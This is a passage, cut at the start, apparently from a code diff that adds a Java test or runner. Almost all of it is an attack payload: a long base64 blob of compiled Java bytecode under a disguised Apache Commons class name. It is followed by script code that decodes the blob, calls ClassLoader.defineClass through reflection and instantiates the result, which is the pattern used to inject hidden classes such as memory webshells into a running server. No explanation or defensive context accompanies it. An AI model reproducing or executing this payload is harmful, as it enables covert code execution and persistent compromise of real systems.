Jdjl0amdMTEgzUEpTc2NmZGEwWUM5ZUQzNUNCamVnTXRzNkEvZ2pUTGFlSk1MdWFORDU4eVJsRE9ETkE5NXdnU2ZEemdua0dLL0MvNVZFK0NmVVJEOE0xMGtRMVBCbjhFL1lybXV1Nnc4SC85NXVWSjUrTHRpRXlIWXlPd1BNL3NQNHREa0VMVExFSVNJdWh1Q1Joa0NlMTA0QkhWVTFrQVFHZ25yR3FyZFFBMU5WTnpNb21qQmRxempFZXQ1eUFXNGd0U0pFQ3pGb0J1Q0ZoZnU3UXpib0IyQ2k3RFMzZXVncmt3SXJtSUlMclJEY0FWRGNObWtFTFM0d0R1U2NpYmtzOWJKZXA3dHNXdkRWMVZkWEgzL0tPWWZ6UmFSMXk2N3pwd0M4bVVMeUlmOTlqRlJtM3VJTTc3RDNhSjhtcEllZnF2TEFpZXdvTHZtckZ1Z2VJN0FVM0lTQzN1UGlhVnBuRjBXR01VNWFTeXFxVTdqM0tQZDRxaDkxSEltWnBqK1NNRFhTY0JuRVdDeGdBQVQyK01TNE9Qak1udHk5aGlRNDJLY2ZhTFkzYlREWUp0ZmJpZlV4VFNtaTBtOWxicTdHY1p0dGp2MXBIbTVtMkFSRkhPM0NLYUxaSFhXeFdva2JSZGhsMG5LeG0wWUl3NXVSYmRSUXlrVGQxNzFLVnpYN0ZseEN0YzNsd1E4eDhTeU1Td3B3c040Zm1KeFRDeFBZOWt0ZUNiZ0djTnlnV2F2cEZXTW9iSUlKMFJsczFJVlVJclRvcXBaQ1hqTFZveWhwZ2lQWUxHY254UUxlcXVZd0drRVIwVjFRRWtMa3V1S2NRVFhCRHhscXdQS0dPcUxjUkkzOUk2aXNWbk5pcCtDSnJQZmR3U3ptdjBuc2FZMzRCOUYwd01CWDRDVnRIWTN2eDc3V3pLR1prSDdhb3BuejA1alhSb1hCSHhwck04UXFpVDdCZzlOT3lGcUpUSExMOWxidVhNRXBUWFZQTE5OMmpTajJadFozRVdZcnNWaDNNNWdhUHo1cEdVREc0VTZUaHhWTzE3dlUzQ3RndWNVWEtmZ2VnV1B5bHJDT0JQQk54MVp3UTEyaUY5Q3FZSWJ4M0VKdkZOWkdSK2xqVXcrT3hIMjhTSUEyN3lYWFV4akNheGcrY2p1MWNHUWIyWGg5RExNd3l5WXExa2MxOUxPdyt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\";try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass(\"java.lang.String\"); var bytecode; try { var clsBase64 = classLoader.loadClass(\"java.util.Base64\"); var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\"); var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz); bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\"); bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass(\"sun.misc.BASE64Decoder\"); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\"); var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}", null, 1, null); + System.out.println(Context.toString(result)); + } +} \ No newline at end of file